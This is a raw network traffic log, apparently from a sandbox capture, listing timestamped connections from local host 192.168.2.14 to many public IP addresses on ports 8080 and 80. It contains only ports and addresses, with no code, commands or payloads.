Feb 27, 2025 07:08:34.532191038 CET	25538	8080	192.168.2.14	94.193.71.250
Feb 27, 2025 07:08:34.532196045 CET	80	28098	95.198.26.202	192.168.2.14
Feb 27, 2025 07:08:34.532202005 CET	28098	80	192.168.2.14	95.84.24.120
Feb 27, 2025 07:08:34.532207966 CET	80	28098	95.94.28.125	192.168.2.14
Feb 27, 2025 07:08:34.532208920 CET	25538	8080	192.168.2.14	95.230.157.204
Feb 27, 2025 07:08:34.532208920 CET	28098	80	192.168.2.14	95.254.18.81
Feb 27, 2025 07:08:34.532212973 CET	28098	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:34.532217026 CET	80	28098	95.109.117.173	192.168.2.14
Feb 27, 2025 07:08:34.532227993 CET	80	28098	95.192.75.168	192.168.2.14
Feb 27, 2025 07:08:34.532229900 CET	28098	80	192.168.2.14	95.198.26.202
Feb 27, 2025 07:08:34.532238960 CET	25538	8080	192.168.2.14	95.19.253.72
Feb 27, 2025 07:08:34.532238960 CET	28098	80	192.168.2.14	95.109.117.173
Feb 27, 2025 07:08:34.532239914 CET	80	28098	95.164.65.25	192.168.2.14
Feb 27, 2025 07:08:34.532248020 CET	28098	80	192.168.2.14	95.94.28.125
Feb 27, 2025 07:08:34.532253027 CET	80	28098	95.25.21.18	192.168.2.14
Feb 27, 2025 07:08:34.532255888 CET	25538	8080	192.168.2.14	62.121.160.92
Feb 27, 2025 07:08:34.532258034 CET	25538	8080	192.168.2.14	94.20.205.100
Feb 27, 2025 07:08:34.532263994 CET	28098	80	192.168.2.14	95.192.75.168
Feb 27, 2025 07:08:34.532269001 CET	80	28098	95.61.179.73	192.168.2.14
Feb 27, 2025 07:08:34.532278061 CET	25538	8080	192.168.2.14	94.71.201.176
Feb 27, 2025 07:08:34.532280922 CET	80	28098	95.0.26.231	192.168.2.14
Feb 27, 2025 07:08:34.532280922 CET	28098	80	192.168.2.14	95.164.65.25
Feb 27, 2025 07:08:34.532280922 CET	28098	80	192.168.2.14	95.25.21.18
Feb 27, 2025 07:08:34.532290936 CET	25538	8080	192.168.2.14	85.95.203.33
Feb 27, 2025 07:08:34.532293081 CET	80	28098	95.145.159.193	192.168.2.14
Feb 27, 2025 07:08:34.532299995 CET	25538	8080	192.168.2.14	85.26.245.154
Feb 27, 2025 07:08:34.532304049 CET	80	28098	95.31.113.147	192.168.2.14
Feb 27, 2025 07:08:34.532313108 CET	28098	80	192.168.2.14	95.0.26.231
Feb 27, 2025 07:08:34.532314062 CET	80	28098	95.39.237.105	192.168.2.14
Feb 27, 2025 07:08:34.532314062 CET	28098	80	192.168.2.14	95.61.179.73
Feb 27, 2025 07:08:34.532320023 CET	28098	80	192.168.2.14	95.145.159.193
Feb 27, 2025 07:08:34.532325029 CET	25538	8080	192.168.2.14	94.130.205.114
Feb 27, 2025 07:08:34.532326937 CET	80	28098	95.62.119.132	192.168.2.14
Feb 27, 2025 07:08:34.532339096 CET	80	28098	95.12.127.45	192.168.2.14
Feb 27, 2025 07:08:34.532346010 CET	28098	80	192.168.2.14	95.31.113.147
Feb 27, 2025 07:08:34.532349110 CET	80	28098	95.223.17.219	192.168.2.14
Feb 27, 2025 07:08:34.532354116 CET	28098	80	192.168.2.14	95.39.237.105
Feb 27, 2025 07:08:34.532355070 CET	25538	8080	192.168.2.14	62.74.95.128
Feb 27, 2025 07:08:34.532355070 CET	25538	8080	192.168.2.14	95.237.213.122
Feb 27, 2025 07:08:34.532356024 CET	25538	8080	192.168.2.14	31.78.5.70
Feb 27, 2025 07:08:34.532361031 CET	80	28098	95.158.76.189	192.168.2.14
Feb 27, 2025 07:08:34.532371044 CET	80	28098	95.236.113.88	192.168.2.14
Feb 27, 2025 07:08:34.532372952 CET	25538	8080	192.168.2.14	62.205.11.16
Feb 27, 2025 07:08:34.532372952 CET	28098	80	192.168.2.14	95.12.127.45
Feb 27, 2025 07:08:34.532372952 CET	28098	80	192.168.2.14	95.62.119.132
Feb 27, 2025 07:08:34.532376051 CET	25538	8080	192.168.2.14	31.135.48.126
Feb 27, 2025 07:08:34.532373905 CET	25538	8080	192.168.2.14	62.238.0.232
Feb 27, 2025 07:08:34.532381058 CET	80	28098	95.59.14.197	192.168.2.14
Feb 27, 2025 07:08:34.532392025 CET	80	28098	95.248.32.146	192.168.2.14
Feb 27, 2025 07:08:34.532392979 CET	25538	8080	192.168.2.14	94.80.142.144
Feb 27, 2025 07:08:34.532401085 CET	25538	8080	192.168.2.14	94.118.196.234
Feb 27, 2025 07:08:34.532402992 CET	80	28098	95.19.61.85	192.168.2.14
Feb 27, 2025 07:08:34.532413006 CET	80	28098	95.44.107.115	192.168.2.14
Feb 27, 2025 07:08:34.532416105 CET	25538	8080	192.168.2.14	31.187.221.215
Feb 27, 2025 07:08:34.532416105 CET	25538	8080	192.168.2.14	31.62.37.51
Feb 27, 2025 07:08:34.532416105 CET	25538	8080	192.168.2.14	62.101.119.86
Feb 27, 2025 07:08:34.532418966 CET	28098	80	192.168.2.14	95.236.113.88
Feb 27, 2025 07:08:34.532418966 CET	25538	8080	192.168.2.14	95.211.109.180
Feb 27, 2025 07:08:34.532423973 CET	25538	8080	192.168.2.14	62.143.96.44
Feb 27, 2025 07:08:34.532423973 CET	80	28098	95.115.102.116	192.168.2.14
Feb 27, 2025 07:08:34.532428980 CET	28098	80	192.168.2.14	95.223.17.219
Feb 27, 2025 07:08:34.532428026 CET	25538	8080	192.168.2.14	94.245.28.101
Feb 27, 2025 07:08:34.532430887 CET	25538	8080	192.168.2.14	85.18.37.32
Feb 27, 2025 07:08:34.532430887 CET	28098	80	192.168.2.14	95.158.76.189
Feb 27, 2025 07:08:34.532428980 CET	25538	8080	192.168.2.14	62.232.0.41
Feb 27, 2025 07:08:34.532428980 CET	25538	8080	192.168.2.14	94.167.10.130
Feb 27, 2025 07:08:34.532428980 CET	28098	80	192.168.2.14	95.19.61.85
Feb 27, 2025 07:08:34.532438040 CET	80	28098	95.98.156.132	192.168.2.14
Feb 27, 2025 07:08:34.532440901 CET	28098	80	192.168.2.14	95.59.14.197
Feb 27, 2025 07:08:34.532440901 CET	28098	80	192.168.2.14	95.248.32.146
Feb 27, 2025 07:08:34.532449007 CET	28098	80	192.168.2.14	95.44.107.115
Feb 27, 2025 07:08:34.532449007 CET	80	28098	95.35.238.222	192.168.2.14
Feb 27, 2025 07:08:34.532449961 CET	25538	8080	192.168.2.14	31.187.217.9
Feb 27, 2025 07:08:34.532458067 CET	25538	8080	192.168.2.14	31.134.250.114
Feb 27, 2025 07:08:34.532460928 CET	25538	8080	192.168.2.14	62.132.4.241
Feb 27, 2025 07:08:34.532461882 CET	25538	8080	192.168.2.14	94.248.13.189
Feb 27, 2025 07:08:34.532461882 CET	25538	8080	192.168.2.14	85.43.140.219
Feb 27, 2025 07:08:34.532464981 CET	28098	80	192.168.2.14	95.115.102.116
Feb 27, 2025 07:08:34.532484055 CET	28098	80	192.168.2.14	95.35.238.222
Feb 27, 2025 07:08:34.532485008 CET	28098	80	192.168.2.14	95.98.156.132
Feb 27, 2025 07:08:34.532485008 CET	25538	8080	192.168.2.14	85.228.5.19
Feb 27, 2025 07:08:34.532494068 CET	25538	8080	192.168.2.14	94.91.39.214
Feb 27, 2025 07:08:34.532504082 CET	25538	8080	192.168.2.14	95.74.33.81
Feb 27, 2025 07:08:34.532504082 CET	25538	8080	192.168.2.14	95.26.101.33
Feb 27, 2025 07:08:34.532515049 CET	25538	8080	192.168.2.14	31.238.92.32
Feb 27, 2025 07:08:34.532516003 CET	25538	8080	192.168.2.14	95.23.112.207
Feb 27, 2025 07:08:34.532511950 CET	25538	8080	192.168.2.14	31.174.87.235
Feb 27, 2025 07:08:34.532512903 CET	25538	8080	192.168.2.14	94.63.170.156
Feb 27, 2025 07:08:34.532512903 CET	25538	8080	192.168.2.14	94.49.245.58
Feb 27, 2025 07:08:34.532541037 CET	25538	8080	192.168.2.14	85.80.6.192
Feb 27, 2025 07:08:34.532542944 CET	25538	8080	192.168.2.14	85.41.209.45
Feb 27, 2025 07:08:34.532545090 CET	25538	8080	192.168.2.14	94.136.33.227
Feb 27, 2025 07:08:34.532545090 CET	25538	8080	192.168.2.14	95.136.121.42
Feb 27, 2025 07:08:34.532555103 CET	25538	8080	192.168.2.14	31.230.36.190
Feb 27, 2025 07:08:34.532562971 CET	25538	8080	192.168.2.14	31.112.240.74
Feb 27, 2025 07:08:34.532569885 CET	25538	8080	192.168.2.14	31.204.123.90
Feb 27, 2025 07:08:34.532569885 CET	25538	8080	192.168.2.14	85.79.131.5
Feb 27, 2025 07:08:34.532586098 CET	25538	8080	192.168.2.14	94.202.176.217
Feb 27, 2025 07:08:34.532608032 CET	25538	8080	192.168.2.14	31.245.197.58
Feb 27, 2025 07:08:34.532608032 CET	25538	8080	192.168.2.14	85.125.235.44
Feb 27, 2025 07:08:34.532622099 CET	25538	8080	192.168.2.14	95.114.146.131
Feb 27, 2025 07:08:34.532623053 CET	25538	8080	192.168.2.14	85.194.110.49
Feb 27, 2025 07:08:34.532628059 CET	25538	8080	192.168.2.14	95.205.24.64
Feb 27, 2025 07:08:34.532641888 CET	25538	8080	192.168.2.14	62.69.24.173
Feb 27, 2025 07:08:34.532641888 CET	25538	8080	192.168.2.14	94.232.240.249
Feb 27, 2025 07:08:34.532663107 CET	25538	8080	192.168.2.14	95.73.7.216
Feb 27, 2025 07:08:34.532696962 CET	25538	8080	192.168.2.14	85.0.41.161
Feb 27, 2025 07:08:34.532701015 CET	25538	8080	192.168.2.14	31.248.232.24
Feb 27, 2025 07:08:34.532708883 CET	25538	8080	192.168.2.14	31.122.93.179
Feb 27, 2025 07:08:34.532711983 CET	25538	8080	192.168.2.14	95.211.159.190
Feb 27, 2025 07:08:34.532723904 CET	25538	8080	192.168.2.14	62.140.229.119
Feb 27, 2025 07:08:34.532747984 CET	25538	8080	192.168.2.14	95.69.85.190
Feb 27, 2025 07:08:34.532748938 CET	25538	8080	192.168.2.14	95.3.163.73
Feb 27, 2025 07:08:34.532764912 CET	25538	8080	192.168.2.14	85.113.194.20
Feb 27, 2025 07:08:34.532764912 CET	25538	8080	192.168.2.14	31.101.150.217
Feb 27, 2025 07:08:34.532773018 CET	25538	8080	192.168.2.14	31.212.227.178
Feb 27, 2025 07:08:34.532777071 CET	25538	8080	192.168.2.14	85.210.176.85
Feb 27, 2025 07:08:34.532823086 CET	25538	8080	192.168.2.14	94.197.42.185
Feb 27, 2025 07:08:34.532829046 CET	25538	8080	192.168.2.14	31.144.176.73
Feb 27, 2025 07:08:34.532829046 CET	25538	8080	192.168.2.14	94.234.143.210
Feb 27, 2025 07:08:34.532834053 CET	25538	8080	192.168.2.14	62.184.59.86
Feb 27, 2025 07:08:34.532841921 CET	25538	8080	192.168.2.14	31.43.234.246
Feb 27, 2025 07:08:34.532845974 CET	25538	8080	192.168.2.14	62.93.61.181
Feb 27, 2025 07:08:34.532852888 CET	25538	8080	192.168.2.14	62.106.70.175
Feb 27, 2025 07:08:34.532865047 CET	25538	8080	192.168.2.14	95.66.54.134
Feb 27, 2025 07:08:34.532866955 CET	25538	8080	192.168.2.14	85.238.23.105
Feb 27, 2025 07:08:34.532876015 CET	25538	8080	192.168.2.14	62.84.131.128
Feb 27, 2025 07:08:34.532880068 CET	25538	8080	192.168.2.14	95.189.255.93
Feb 27, 2025 07:08:34.532881975 CET	25538	8080	192.168.2.14	95.229.205.44
Feb 27, 2025 07:08:34.532907009 CET	25538	8080	192.168.2.14	95.33.115.135
Feb 27, 2025 07:08:34.532912970 CET	25538	8080	192.168.2.14	31.0.215.241
Feb 27, 2025 07:08:34.532912970 CET	25538	8080	192.168.2.14	85.134.245.244
Feb 27, 2025 07:08:34.532924891 CET	25538	8080	192.168.2.14	95.178.47.132
Feb 27, 2025 07:08:34.532927990 CET	25538	8080	192.168.2.14	62.171.134.88
Feb 27, 2025 07:08:34.532927990 CET	25538	8080	192.168.2.14	31.226.49.241
Feb 27, 2025 07:08:34.532939911 CET	25538	8080	192.168.2.14	94.103.229.151
Feb 27, 2025 07:08:34.532943964 CET	25538	8080	192.168.2.14	85.237.112.123
Feb 27, 2025 07:08:34.532951117 CET	25538	8080	192.168.2.14	85.232.42.2
Feb 27, 2025 07:08:34.532958031 CET	25538	8080	192.168.2.14	95.80.98.191
Feb 27, 2025 07:08:34.532965899 CET	25538	8080	192.168.2.14	95.196.146.73
Feb 27, 2025 07:08:34.532993078 CET	25538	8080	192.168.2.14	62.130.164.52
Feb 27, 2025 07:08:34.532993078 CET	25538	8080	192.168.2.14	95.159.218.224
Feb 27, 2025 07:08:34.532999039 CET	25538	8080	192.168.2.14	62.165.186.123
Feb 27, 2025 07:08:34.533001900 CET	25538	8080	192.168.2.14	31.226.192.86
Feb 27, 2025 07:08:34.533003092 CET	25538	8080	192.168.2.14	94.91.17.126
Feb 27, 2025 07:08:34.533021927 CET	25538	8080	192.168.2.14	62.168.222.56
Feb 27, 2025 07:08:34.533021927 CET	25538	8080	192.168.2.14	85.118.124.174
Feb 27, 2025 07:08:34.533029079 CET	25538	8080	192.168.2.14	85.168.135.162
Feb 27, 2025 07:08:34.533029079 CET	25538	8080	192.168.2.14	85.231.247.164
Feb 27, 2025 07:08:34.533029079 CET	25538	8080	192.168.2.14	62.153.80.246
Feb 27, 2025 07:08:34.533029079 CET	25538	8080	192.168.2.14	85.197.240.213
Feb 27, 2025 07:08:34.533036947 CET	25538	8080	192.168.2.14	62.167.193.230
Feb 27, 2025 07:08:34.533036947 CET	25538	8080	192.168.2.14	94.121.80.184
Feb 27, 2025 07:08:34.533046007 CET	25538	8080	192.168.2.14	85.145.157.133
Feb 27, 2025 07:08:34.533055067 CET	25538	8080	192.168.2.14	95.207.27.37
Feb 27, 2025 07:08:34.533060074 CET	25538	8080	192.168.2.14	94.38.20.184
Feb 27, 2025 07:08:34.533078909 CET	25538	8080	192.168.2.14	95.182.253.191
Feb 27, 2025 07:08:34.533080101 CET	25538	8080	192.168.2.14	85.141.219.126
Feb 27, 2025 07:08:34.533082008 CET	25538	8080	192.168.2.14	62.4.112.205
Feb 27, 2025 07:08:34.533092022 CET	25538	8080	192.168.2.14	85.124.193.39
Feb 27, 2025 07:08:34.533097982 CET	25538	8080	192.168.2.14	95.233.96.36
Feb 27, 2025 07:08:34.533098936 CET	25538	8080	192.168.2.14	85.243.58.169
Feb 27, 2025 07:08:34.533108950 CET	25538	8080	192.168.2.14	62.22.9.46
Feb 27, 2025 07:08:34.533109903 CET	25538	8080	192.168.2.14	31.206.108.73
Feb 27, 2025 07:08:34.533132076 CET	25538	8080	192.168.2.14	31.132.18.154
Feb 27, 2025 07:08:34.533133984 CET	25538	8080	192.168.2.14	31.162.171.185
Feb 27, 2025 07:08:34.533132076 CET	25538	8080	192.168.2.14	95.211.90.220
Feb 27, 2025 07:08:34.533159971 CET	25538	8080	192.168.2.14	62.152.12.154
Feb 27, 2025 07:08:34.533170938 CET	25538	8080	192.168.2.14	31.65.0.198
Feb 27, 2025 07:08:34.533171892 CET	25538	8080	192.168.2.14	31.179.156.153
Feb 27, 2025 07:08:34.533179998 CET	25538	8080	192.168.2.14	94.95.113.149
Feb 27, 2025 07:08:34.533184052 CET	25538	8080	192.168.2.14	62.117.115.203
Feb 27, 2025 07:08:34.533202887 CET	25538	8080	192.168.2.14	85.25.75.161
Feb 27, 2025 07:08:34.533204079 CET	25538	8080	192.168.2.14	95.42.125.56
Feb 27, 2025 07:08:34.533204079 CET	25538	8080	192.168.2.14	31.152.21.117
Feb 27, 2025 07:08:34.533205986 CET	25538	8080	192.168.2.14	85.139.189.9
Feb 27, 2025 07:08:34.533205986 CET	25538	8080	192.168.2.14	94.211.78.137
Feb 27, 2025 07:08:34.533207893 CET	25538	8080	192.168.2.14	94.13.250.32
Feb 27, 2025 07:08:34.533207893 CET	25538	8080	192.168.2.14	94.156.186.202
Feb 27, 2025 07:08:34.533207893 CET	25538	8080	192.168.2.14	62.76.77.248
Feb 27, 2025 07:08:34.533215046 CET	25538	8080	192.168.2.14	62.19.28.240
Feb 27, 2025 07:08:34.533226967 CET	25538	8080	192.168.2.14	85.253.73.159
Feb 27, 2025 07:08:34.533229113 CET	25538	8080	192.168.2.14	62.55.153.179
Feb 27, 2025 07:08:34.533230066 CET	25538	8080	192.168.2.14	95.250.232.49
Feb 27, 2025 07:08:34.533230066 CET	25538	8080	192.168.2.14	31.122.46.159
Feb 27, 2025 07:08:34.533236027 CET	25538	8080	192.168.2.14	94.120.97.168
Feb 27, 2025 07:08:34.533236027 CET	25538	8080	192.168.2.14	95.247.86.22
Feb 27, 2025 07:08:34.533236027 CET	25538	8080	192.168.2.14	62.77.167.103
Feb 27, 2025 07:08:34.533250093 CET	25538	8080	192.168.2.14	31.141.103.218
Feb 27, 2025 07:08:34.533250093 CET	25538	8080	192.168.2.14	94.6.175.234
Feb 27, 2025 07:08:34.533265114 CET	25538	8080	192.168.2.14	94.197.213.243
Feb 27, 2025 07:08:34.533267975 CET	25538	8080	192.168.2.14	62.19.144.177
Feb 27, 2025 07:08:34.533277988 CET	25538	8080	192.168.2.14	31.199.13.82
Feb 27, 2025 07:08:34.533277988 CET	25538	8080	192.168.2.14	85.163.30.19
Feb 27, 2025 07:08:34.533288956 CET	25538	8080	192.168.2.14	31.52.99.0
Feb 27, 2025 07:08:34.533292055 CET	25538	8080	192.168.2.14	62.231.86.83
Feb 27, 2025 07:08:34.533293962 CET	25538	8080	192.168.2.14	31.212.30.150
Feb 27, 2025 07:08:34.533299923 CET	25538	8080	192.168.2.14	31.175.157.227
Feb 27, 2025 07:08:34.533313990 CET	25538	8080	192.168.2.14	85.225.191.28
Feb 27, 2025 07:08:34.533313990 CET	25538	8080	192.168.2.14	62.136.13.177
Feb 27, 2025 07:08:34.533325911 CET	25538	8080	192.168.2.14	62.201.42.60
Feb 27, 2025 07:08:34.533329964 CET	25538	8080	192.168.2.14	94.16.191.100
Feb 27, 2025 07:08:34.533345938 CET	25538	8080	192.168.2.14	95.22.117.84
Feb 27, 2025 07:08:34.533346891 CET	25538	8080	192.168.2.14	31.103.254.210
Feb 27, 2025 07:08:34.533346891 CET	25538	8080	192.168.2.14	94.108.21.89
Feb 27, 2025 07:08:34.533360004 CET	25538	8080	192.168.2.14	85.180.12.234
Feb 27, 2025 07:08:34.533360004 CET	25538	8080	192.168.2.14	31.195.219.20
Feb 27, 2025 07:08:34.533360004 CET	25538	8080	192.168.2.14	31.7.206.143
Feb 27, 2025 07:08:34.533379078 CET	25538	8080	192.168.2.14	95.135.203.1
Feb 27, 2025 07:08:34.533382893 CET	25538	8080	192.168.2.14	85.56.60.14
Feb 27, 2025 07:08:34.533385038 CET	25538	8080	192.168.2.14	62.15.122.165
Feb 27, 2025 07:08:34.533389091 CET	25538	8080	192.168.2.14	31.123.112.69
Feb 27, 2025 07:08:34.533391953 CET	25538	8080	192.168.2.14	85.203.85.102
Feb 27, 2025 07:08:34.533396006 CET	25538	8080	192.168.2.14	31.234.233.31
Feb 27, 2025 07:08:34.533438921 CET	25538	8080	192.168.2.14	31.31.49.56
Feb 27, 2025 07:08:34.533440113 CET	25538	8080	192.168.2.14	31.195.73.220
Feb 27, 2025 07:08:34.533438921 CET	25538	8080	192.168.2.14	62.184.41.154
Feb 27, 2025 07:08:34.533438921 CET	25538	8080	192.168.2.14	62.102.27.137
Feb 27, 2025 07:08:34.533447981 CET	25538	8080	192.168.2.14	95.11.246.192
Feb 27, 2025 07:08:34.533447981 CET	25538	8080	192.168.2.14	94.126.194.255
Feb 27, 2025 07:08:34.533451080 CET	25538	8080	192.168.2.14	31.67.120.203
Feb 27, 2025 07:08:34.533473015 CET	25538	8080	192.168.2.14	94.111.174.103
Feb 27, 2025 07:08:34.533473969 CET	25538	8080	192.168.2.14	62.160.125.136
Feb 27, 2025 07:08:34.533476114 CET	25538	8080	192.168.2.14	62.42.223.91
Feb 27, 2025 07:08:34.533483028 CET	25538	8080	192.168.2.14	94.226.92.238
Feb 27, 2025 07:08:34.533483028 CET	25538	8080	192.168.2.14	94.146.145.69
Feb 27, 2025 07:08:34.533493042 CET	25538	8080	192.168.2.14	95.10.134.108
Feb 27, 2025 07:08:34.533499956 CET	25538	8080	192.168.2.14	94.109.213.243
Feb 27, 2025 07:08:34.533507109 CET	25538	8080	192.168.2.14	85.185.227.64
Feb 27, 2025 07:08:34.533519030 CET	25538	8080	192.168.2.14	62.8.150.121
Feb 27, 2025 07:08:34.533519030 CET	25538	8080	192.168.2.14	62.90.212.18
Feb 27, 2025 07:08:34.533521891 CET	25538	8080	192.168.2.14	94.42.166.80
Feb 27, 2025 07:08:34.533533096 CET	25538	8080	192.168.2.14	94.197.85.79
Feb 27, 2025 07:08:34.533543110 CET	25538	8080	192.168.2.14	31.142.58.185
Feb 27, 2025 07:08:34.533555984 CET	25538	8080	192.168.2.14	95.108.100.190
Feb 27, 2025 07:08:34.533556938 CET	25538	8080	192.168.2.14	85.213.128.196
Feb 27, 2025 07:08:34.533556938 CET	25538	8080	192.168.2.14	94.224.3.133
Feb 27, 2025 07:08:34.533560038 CET	25538	8080	192.168.2.14	94.59.184.177
Feb 27, 2025 07:08:34.533574104 CET	25538	8080	192.168.2.14	94.62.206.95
Feb 27, 2025 07:08:34.533574104 CET	25538	8080	192.168.2.14	95.114.41.247
Feb 27, 2025 07:08:34.533575058 CET	25538	8080	192.168.2.14	62.110.108.250
Feb 27, 2025 07:08:34.533581018 CET	25538	8080	192.168.2.14	95.206.125.26
Feb 27, 2025 07:08:34.533596039 CET	25538	8080	192.168.2.14	95.63.40.200
Feb 27, 2025 07:08:34.533601999 CET	25538	8080	192.168.2.14	62.232.245.104
Feb 27, 2025 07:08:34.533601999 CET	25538	8080	192.168.2.14	31.12.142.76
Feb 27, 2025 07:08:34.533605099 CET	25538	8080	192.168.2.14	31.151.205.209
Feb 27, 2025 07:08:34.533616066 CET	25538	8080	192.168.2.14	94.10.246.191
Feb 27, 2025 07:08:34.533616066 CET	25538	8080	192.168.2.14	95.27.228.71
Feb 27, 2025 07:08:34.533617973 CET	25538	8080	192.168.2.14	94.82.84.39
Feb 27, 2025 07:08:34.533622980 CET	25538	8080	192.168.2.14	94.72.49.201
Feb 27, 2025 07:08:34.533637047 CET	25538	8080	192.168.2.14	94.6.58.226
Feb 27, 2025 07:08:34.533642054 CET	25538	8080	192.168.2.14	31.182.129.46
Feb 27, 2025 07:08:34.533643007 CET	25538	8080	192.168.2.14	94.237.217.179
Feb 27, 2025 07:08:34.533658028 CET	25538	8080	192.168.2.14	95.232.13.186
Feb 27, 2025 07:08:34.533668995 CET	25538	8080	192.168.2.14	31.16.129.103
Feb 27, 2025 07:08:34.533672094 CET	25538	8080	192.168.2.14	95.30.251.103
Feb 27, 2025 07:08:34.533688068 CET	25538	8080	192.168.2.14	95.180.221.201
Feb 27, 2025 07:08:34.533688068 CET	25538	8080	192.168.2.14	31.105.191.89
Feb 27, 2025 07:08:34.533691883 CET	25538	8080	192.168.2.14	31.215.15.28
Feb 27, 2025 07:08:34.533701897 CET	25538	8080	192.168.2.14	94.75.8.199
Feb 27, 2025 07:08:34.533701897 CET	25538	8080	192.168.2.14	31.223.22.162
Feb 27, 2025 07:08:34.533701897 CET	25538	8080	192.168.2.14	62.37.45.124
Feb 27, 2025 07:08:34.533708096 CET	25538	8080	192.168.2.14	85.59.69.95
Feb 27, 2025 07:08:34.533729076 CET	25538	8080	192.168.2.14	62.188.187.112
Feb 27, 2025 07:08:34.533730030 CET	25538	8080	192.168.2.14	62.231.129.191
Feb 27, 2025 07:08:34.533730030 CET	25538	8080	192.168.2.14	85.151.212.253
Feb 27, 2025 07:08:34.533739090 CET	25538	8080	192.168.2.14	94.95.163.252
Feb 27, 2025 07:08:34.533754110 CET	25538	8080	192.168.2.14	95.18.213.236
Feb 27, 2025 07:08:34.533760071 CET	25538	8080	192.168.2.14	85.70.117.160
Feb 27, 2025 07:08:34.533766985 CET	25538	8080	192.168.2.14	95.246.167.119
Feb 27, 2025 07:08:34.533775091 CET	25538	8080	192.168.2.14	95.249.52.91
Feb 27, 2025 07:08:34.533785105 CET	25538	8080	192.168.2.14	94.41.46.2
Feb 27, 2025 07:08:34.533790112 CET	25538	8080	192.168.2.14	31.40.63.46
Feb 27, 2025 07:08:34.533795118 CET	25538	8080	192.168.2.14	95.52.18.175
Feb 27, 2025 07:08:34.533798933 CET	25538	8080	192.168.2.14	94.185.63.240
Feb 27, 2025 07:08:34.533798933 CET	25538	8080	192.168.2.14	62.78.194.88
Feb 27, 2025 07:08:34.533816099 CET	25538	8080	192.168.2.14	31.187.252.185
Feb 27, 2025 07:08:34.533818007 CET	25538	8080	192.168.2.14	62.137.91.253
Feb 27, 2025 07:08:34.533821106 CET	25538	8080	192.168.2.14	85.200.112.100
Feb 27, 2025 07:08:34.533833027 CET	25538	8080	192.168.2.14	31.246.127.110
Feb 27, 2025 07:08:34.533833981 CET	25538	8080	192.168.2.14	31.246.1.41
Feb 27, 2025 07:08:34.533839941 CET	25538	8080	192.168.2.14	85.34.46.146
Feb 27, 2025 07:08:34.533840895 CET	25538	8080	192.168.2.14	31.55.53.45
Feb 27, 2025 07:08:34.533840895 CET	25538	8080	192.168.2.14	62.111.199.110
Feb 27, 2025 07:08:34.533849001 CET	25538	8080	192.168.2.14	31.169.184.194
Feb 27, 2025 07:08:34.533853054 CET	25538	8080	192.168.2.14	62.52.21.31
Feb 27, 2025 07:08:34.533864975 CET	25538	8080	192.168.2.14	31.33.66.254
Feb 27, 2025 07:08:34.533864975 CET	25538	8080	192.168.2.14	94.245.212.23
Feb 27, 2025 07:08:34.533869028 CET	25538	8080	192.168.2.14	95.58.11.180
Feb 27, 2025 07:08:34.533869028 CET	25538	8080	192.168.2.14	95.23.203.91
Feb 27, 2025 07:08:34.533881903 CET	25538	8080	192.168.2.14	85.31.233.208
Feb 27, 2025 07:08:34.533905983 CET	25538	8080	192.168.2.14	95.230.167.161
Feb 27, 2025 07:08:34.533905983 CET	25538	8080	192.168.2.14	95.94.67.139
Feb 27, 2025 07:08:34.533907890 CET	25538	8080	192.168.2.14	62.73.33.176
Feb 27, 2025 07:08:34.533906937 CET	25538	8080	192.168.2.14	95.128.160.61
Feb 27, 2025 07:08:34.533907890 CET	25538	8080	192.168.2.14	94.150.9.37
Feb 27, 2025 07:08:34.533915997 CET	25538	8080	192.168.2.14	94.207.72.94
Feb 27, 2025 07:08:34.533917904 CET	25538	8080	192.168.2.14	94.188.0.197
Feb 27, 2025 07:08:34.533917904 CET	25538	8080	192.168.2.14	95.21.128.229
Feb 27, 2025 07:08:34.533921003 CET	25538	8080	192.168.2.14	94.31.191.242
Feb 27, 2025 07:08:34.533920050 CET	25538	8080	192.168.2.14	85.225.230.88
Feb 27, 2025 07:08:34.533921003 CET	25538	8080	192.168.2.14	31.41.90.148
Feb 27, 2025 07:08:34.533925056 CET	25538	8080	192.168.2.14	94.170.228.188
Feb 27, 2025 07:08:34.533921003 CET	25538	8080	192.168.2.14	95.172.41.125
Feb 27, 2025 07:08:34.533925056 CET	25538	8080	192.168.2.14	85.217.222.254
Feb 27, 2025 07:08:34.533924103 CET	25538	8080	192.168.2.14	31.15.114.74
Feb 27, 2025 07:08:34.533925056 CET	25538	8080	192.168.2.14	31.50.98.16
Feb 27, 2025 07:08:34.533926964 CET	25538	8080	192.168.2.14	62.173.50.22
Feb 27, 2025 07:08:34.533926964 CET	25538	8080	192.168.2.14	95.213.112.53
Feb 27, 2025 07:08:34.533926964 CET	25538	8080	192.168.2.14	94.47.215.171
Feb 27, 2025 07:08:34.533937931 CET	25538	8080	192.168.2.14	31.221.228.60
Feb 27, 2025 07:08:34.533937931 CET	25538	8080	192.168.2.14	31.196.72.79
Feb 27, 2025 07:08:34.533948898 CET	25538	8080	192.168.2.14	62.118.87.86
Feb 27, 2025 07:08:34.533948898 CET	25538	8080	192.168.2.14	85.32.7.198
Feb 27, 2025 07:08:34.533951998 CET	25538	8080	192.168.2.14	95.195.219.211
Feb 27, 2025 07:08:34.533951998 CET	25538	8080	192.168.2.14	85.207.194.56
Feb 27, 2025 07:08:34.533951998 CET	25538	8080	192.168.2.14	85.119.209.183
Feb 27, 2025 07:08:34.533955097 CET	25538	8080	192.168.2.14	62.157.81.193
Feb 27, 2025 07:08:34.533956051 CET	25538	8080	192.168.2.14	31.242.131.162
Feb 27, 2025 07:08:34.533973932 CET	25538	8080	192.168.2.14	85.7.38.234
Feb 27, 2025 07:08:34.533973932 CET	25538	8080	192.168.2.14	94.56.190.69
Feb 27, 2025 07:08:34.533973932 CET	25538	8080	192.168.2.14	31.161.154.253
Feb 27, 2025 07:08:34.533982992 CET	25538	8080	192.168.2.14	85.213.174.51
Feb 27, 2025 07:08:34.533999920 CET	25538	8080	192.168.2.14	31.74.10.171
Feb 27, 2025 07:08:34.534003019 CET	25538	8080	192.168.2.14	62.129.255.209
Feb 27, 2025 07:08:34.534006119 CET	25538	8080	192.168.2.14	31.223.93.210
Feb 27, 2025 07:08:34.534015894 CET	25538	8080	192.168.2.14	62.1.94.190
Feb 27, 2025 07:08:34.534020901 CET	25538	8080	192.168.2.14	31.87.223.109
Feb 27, 2025 07:08:34.534022093 CET	25538	8080	192.168.2.14	62.233.229.172
Feb 27, 2025 07:08:34.534029007 CET	25538	8080	192.168.2.14	94.186.241.149
Feb 27, 2025 07:08:34.534051895 CET	25538	8080	192.168.2.14	31.124.236.238
Feb 27, 2025 07:08:34.534054041 CET	25538	8080	192.168.2.14	85.27.148.85
Feb 27, 2025 07:08:34.534058094 CET	25538	8080	192.168.2.14	31.198.116.46
Feb 27, 2025 07:08:34.534073114 CET	25538	8080	192.168.2.14	31.253.203.55
